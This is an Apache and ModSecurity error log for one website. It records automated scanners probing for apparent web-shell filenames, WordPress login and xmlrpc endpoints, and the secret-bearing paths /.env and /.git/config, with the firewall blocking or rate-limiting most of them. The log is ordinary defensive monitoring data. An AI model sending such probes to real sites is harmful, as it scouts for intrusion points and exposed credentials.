[Wed Feb 04 08:32:22.088438 2026] [:error] [pid 47577:tid 47596] [client 45.92.1.79:54667] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYKTlqvA4Yp0Sov-3kQtHwAAAA8"]
[Wed Feb 04 08:32:22.678211 2026] [:error] [pid 18816:tid 18825] [client 45.92.1.79:54988] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYKTlsszZcOol_Iv-0V81QAAAQY"]
[Wed Feb 04 08:32:23.267328 2026] [:error] [pid 47579:tid 47651] [client 45.92.1.79:55242] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYKTl_uxWks846_Vi2z1jgAAAIc"]
[Wed Feb 04 12:20:01.636694 2026] [proxy_fcgi:error] [pid 47406:tid 47486] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:02.031691 2026] [proxy_fcgi:error] [pid 47406:tid 47468] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:02.649681 2026] [proxy_fcgi:error] [pid 47406:tid 47477] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:03.209000 2026] [proxy_fcgi:error] [pid 47406:tid 47475] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:03.563978 2026] [proxy_fcgi:error] [pid 47406:tid 47470] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:03.708247 2026] [proxy_fcgi:error] [pid 47406:tid 47478] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:03.909832 2026] [proxy_fcgi:error] [pid 47406:tid 47474] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:04.052784 2026] [proxy_fcgi:error] [pid 47406:tid 47489] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:04.508142 2026] [proxy_fcgi:error] [pid 47406:tid 47490] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:04.664263 2026] [proxy_fcgi:error] [pid 47406:tid 47469] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:04.846446 2026] [proxy_fcgi:error] [pid 47406:tid 47480] [client 20.219.139.167:4517] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 12:20:05.279857 2026] [:error] [pid 47406:tid 47476] [client 20.219.139.167:4517] [client 20.219.139.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aYLI9Qeu9R9b-_wtQ0LIaQAAAQk"]
[Wed Feb 04 12:20:06.002721 2026] [:error] [pid 50578:tid 50581] [client 20.219.139.167:2315] [client 20.219.139.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aYLI9tYUQBXdXxfW1mfxlAAAAAE"]
[Wed Feb 04 12:20:06.680611 2026] [:error] [pid 47405:tid 47451] [client 20.219.139.167:7568] [client 20.219.139.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aYLI9qTmhSrwHQTn6I7tzQAAAMs"]
[Wed Feb 04 12:20:07.289201 2026] [:error] [pid 8285:tid 8294] [client 20.219.139.167:4501] [client 20.219.139.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r.php"] [unique_id "aYLI9xpweS7ndDaunz9aUwAAAEc"]
[Wed Feb 04 14:57:39.029526 2026] [:error] [pid 8285:tid 8310] [client 219.91.196.36:3839] [client 219.91.196.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 219.91.196.36, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYLt4xpweS7ndDaunz-cqAAAAFc"]
[Wed Feb 04 14:57:39.040620 2026] [proxy_fcgi:error] [pid 8285:tid 8310] [client 219.91.196.36:3839] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 19:03:00.203237 2026] [:error] [pid 55160:tid 55172] [client 23.254.230.181:39408] [client 23.254.230.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aYMnZOTAiAYDLSDaxdcj3gAAAYo"]
[Thu Feb 05 01:01:21.093055 2026] [:error] [pid 63684:tid 63707] [client 37.27.119.185:60756] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYN7YdsfhS3nNwjjsUPC4AAAAJI"], referer: https://www.adobe.com
[Thu Feb 05 01:01:21.867428 2026] [:error] [pid 26443:tid 26464] [client 37.27.119.185:61600] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYN7YdRUJ4b_jBAfhPJfMAAAAVM"], referer: https://www.reddit.com/r/technology
[Thu Feb 05 01:01:23.681390 2026] [:error] [pid 63685:tid 63728] [client 37.27.119.185:62265] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYN7Y46Dyg716yRb8FCcQAAAAMw"], referer: https://www.gizmodo.com
[Thu Feb 05 01:01:24.491299 2026] [:error] [pid 63684:tid 63700] [client 37.27.119.185:63142] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYN7ZNsfhS3nNwjjsUPC4wAAAIs"], referer: https://www.github.com
[Thu Feb 05 02:56:07.517292 2026] [:error] [pid 3156:tid 3161] [client 217.77.10.74:57514] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYOWR2FkBP84nEvT5IhY3QAAAYA"]
[Thu Feb 05 03:18:10.863109 2026] [:error] [pid 9082:tid 9084] [client 143.110.206.118:64735] [client 143.110.206.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.206.118, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYObcjJfavdEtMFx6NNCgAAAAMA"]
[Thu Feb 05 03:18:10.872427 2026] [proxy_fcgi:error] [pid 9082:tid 9084] [client 143.110.206.118:64735] AH01071: Got error 'Primary script unknown'
[Thu Feb 05 05:39:13.300564 2026] [:error] [pid 12188:tid 12230] [client 136.144.33.250:58203] [client 136.144.33.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.250, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYO8gTKWpl9mNO_-qzPokgAAAEY"]
[Thu Feb 05 05:39:13.314040 2026] [proxy_fcgi:error] [pid 12188:tid 12230] [client 136.144.33.250:58203] AH01071: Got error 'Primary script unknown'
[Thu Feb 05 10:30:52.996359 2026] [:error] [pid 31774:tid 31778] [client 45.92.1.79:62784] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYQA3KjDlLg1NOhSOXWAJQAAAIA"]
[Thu Feb 05 10:30:53.602632 2026] [:error] [pid 31775:tid 31813] [client 45.92.1.79:63143] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYQA3RNlTj92HTKsJN1t5QAAAQg"]
[Thu Feb 05 10:30:54.208360 2026] [:error] [pid 31774:tid 31784] [client 45.92.1.79:63624] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYQA3qjDlLg1NOhSOXWAWwAAAIY"]
[Thu Feb 05 10:30:54.890899 2026] [:error] [pid 31774:tid 31784] [client 45.92.1.79:64046] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYQA3qjDlLg1NOhSOXWAfwAAAIY"]
[Thu Feb 05 10:30:55.611462 2026] [:error] [pid 31774:tid 31785] [client 45.92.1.79:64490] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYQA36jDlLg1NOhSOXWAmgAAAIc"]
[Thu Feb 05 15:50:28.827816 2026] [:error] [pid 31833:tid 31847] [client 185.93.89.120:65344] [client 185.93.89.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aYRLxBzypZt5yekRAkEfSQAAAYw"]
[Thu Feb 05 15:50:32.489526 2026] [:error] [pid 33122:tid 33141] [client 185.93.89.120:64557] [client 185.93.89.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aYRLyPW0IebAnFB9KDDw0wAAAFE"]
[Thu Feb 05 16:19:15.182136 2026] [:error] [pid 33122:tid 33140] [client 217.217.250.193:62848] [client 217.217.250.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYRSg_W0IebAnFB9KDD3BwAAAFA"]
[Thu Feb 05 16:19:15.804174 2026] [:error] [pid 33122:tid 33135] [client 217.217.250.193:62448] [client 217.217.250.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aYRSg_W0IebAnFB9KDD3CAAAAEs"]
[Thu Feb 05 16:19:16.433829 2026] [:error] [pid 31739:tid 31760] [client 217.217.250.193:58968] [client 217.217.250.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "aYRShAGrHl_5BvMstJKmeAAAABM"]
[Thu Feb 05 23:02:46.931412 2026] [:error] [pid 33396:tid 33411] [client 43.231.134.234:60300] [client 43.231.134.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.231.134.234, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYSxFvTgp_Ev6LiSSgDp-gAAAMg"]
[Thu Feb 05 23:02:46.942416 2026] [proxy_fcgi:error] [pid 33396:tid 33411] [client 43.231.134.234:60300] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 00:17:12.601382 2026] [proxy_fcgi:error] [pid 14577:tid 14602] [client 20.220.62.160:58998] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 02:15:49.224684 2026] [proxy_fcgi:error] [pid 64116:tid 64131] [client 23.101.147.146:7876] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:53.982968 2026] [proxy_fcgi:error] [pid 1773:tid 1799] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:54.191410 2026] [proxy_fcgi:error] [pid 1773:tid 1791] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:54.488286 2026] [proxy_fcgi:error] [pid 1773:tid 1794] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:54.722289 2026] [proxy_fcgi:error] [pid 1773:tid 1805] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:55.004717 2026] [proxy_fcgi:error] [pid 1773:tid 1778] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:55.209705 2026] [proxy_fcgi:error] [pid 1773:tid 1803] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:55.469833 2026] [proxy_fcgi:error] [pid 1773:tid 1795] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:55.694832 2026] [proxy_fcgi:error] [pid 1773:tid 1798] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:55.903231 2026] [proxy_fcgi:error] [pid 1773:tid 1796] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:56.106887 2026] [proxy_fcgi:error] [pid 1773:tid 1788] [client 20.98.205.141:13633] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:39:56.315608 2026] [:error] [pid 1773:tid 1806] [client 20.98.205.141:13633] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/law.php"] [unique_id "aYU4XDYbySBHYmKOdJ8uMgAAANc"]
[Fri Feb 06 08:39:59.977319 2026] [:error] [pid 1663:tid 1695] [client 20.98.205.141:3105] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/law.php"] [unique_id "aYU4X19EQrJaKkABjK8N6gAAABY"]
[Fri Feb 06 08:40:00.731346 2026] [:error] [pid 34582:tid 34588] [client 20.98.205.141:8008] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/law.php"] [unique_id "aYU4YODeJq1JGssYG6z35gAAAQM"]
[Fri Feb 06 08:40:03.019080 2026] [:error] [pid 52212:tid 52223] [client 20.98.205.141:13777] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/law.php"] [unique_id "aYU4Y2y3e5ZfWRP0XAc27wAAAYk"]
[Fri Feb 06 08:40:07.439728 2026] [:error] [pid 1773:tid 1794] [client 20.98.205.141:8071] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xx.php"] [unique_id "aYU4ZzYbySBHYmKOdJ8uQQAAAMs"]
[Fri Feb 06 08:40:13.652073 2026] [:error] [pid 52212:tid 52214] [client 20.98.205.141:11950] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xx.php"] [unique_id "aYU4bWy3e5ZfWRP0XAc3AQAAAYA"]
[Fri Feb 06 08:40:14.514986 2026] [:error] [pid 1773:tid 1788] [client 20.98.205.141:6935] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xx.php"] [unique_id "aYU4bjYbySBHYmKOdJ8uQwAAAMU"]
[Fri Feb 06 08:40:21.883739 2026] [:error] [pid 1773:tid 1805] [client 20.98.205.141:2275] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/st.php"] [unique_id "aYU4dTYbySBHYmKOdJ8uVQAAANY"]
[Fri Feb 06 08:40:23.178723 2026] [:error] [pid 52212:tid 52237] [client 20.98.205.141:6663] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/st.php"] [unique_id "aYU4d2y3e5ZfWRP0XAc3BgAAAZc"]
[Fri Feb 06 08:40:24.201978 2026] [:error] [pid 1665:tid 1748] [client 20.98.205.141:6921] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/st.php"] [unique_id "aYU4eDYZLE6gThXvZMoHcQAAAJU"]
[Fri Feb 06 08:40:27.879416 2026] [:error] [pid 13650:tid 13654] [client 20.98.205.141:4374] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/st.php"] [unique_id "aYU4exoU-_lpgnGeX7WpQQAAAUI"]
[Fri Feb 06 08:40:29.036916 2026] [:error] [pid 52212:tid 52216] [client 20.98.205.141:1223] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "aYU4fWy3e5ZfWRP0XAc3EgAAAYI"]
[Fri Feb 06 08:40:31.423118 2026] [:error] [pid 1773:tid 1806] [client 20.98.205.141:7309] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "aYU4fzYbySBHYmKOdJ8ubQAAANc"]
[Fri Feb 06 08:40:41.510560 2026] [:error] [pid 1663:tid 1693] [client 20.98.205.141:6953] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "aYU4iV9EQrJaKkABjK8OLgAAABQ"]
[Fri Feb 06 08:40:43.427600 2026] [:error] [pid 1773:tid 1795] [client 20.98.205.141:3550] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oxse.php"] [unique_id "aYU4izYbySBHYmKOdJ8ueAAAAMw"]
[Fri Feb 06 08:40:45.067670 2026] [:error] [pid 34582:tid 34595] [client 20.98.205.141:13735] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oxse.php"] [unique_id "aYU4jeDeJq1JGssYG6z4DgAAAQo"]
[Fri Feb 06 08:40:48.507383 2026] [:error] [pid 1665:tid 1751] [client 20.98.205.141:11799] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oxse.php"] [unique_id "aYU4kDYZLE6gThXvZMoHkQAAAJg"]
[Fri Feb 06 08:40:49.496232 2026] [:error] [pid 1773:tid 1801] [client 20.98.205.141:13688] [client 20.98.205.141] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oxse.php"] [unique_id "aYU4kTYbySBHYmKOdJ8ugAAAANI"]
[Fri Feb 06 08:41:06.819020 2026] [proxy_fcgi:error] [pid 52212:tid 52222] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:07.022791 2026] [proxy_fcgi:error] [pid 52212:tid 52230] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:07.230674 2026] [proxy_fcgi:error] [pid 52212:tid 52235] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:07.440276 2026] [proxy_fcgi:error] [pid 52212:tid 52233] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:07.646978 2026] [proxy_fcgi:error] [pid 52212:tid 52229] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:07.853689 2026] [proxy_fcgi:error] [pid 52212:tid 52221] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 08:41:08.058039 2026] [proxy_fcgi:error] [pid 52212:tid 52219] [client 20.98.205.141:8752] AH01071: Got error 'Primary script unknown'
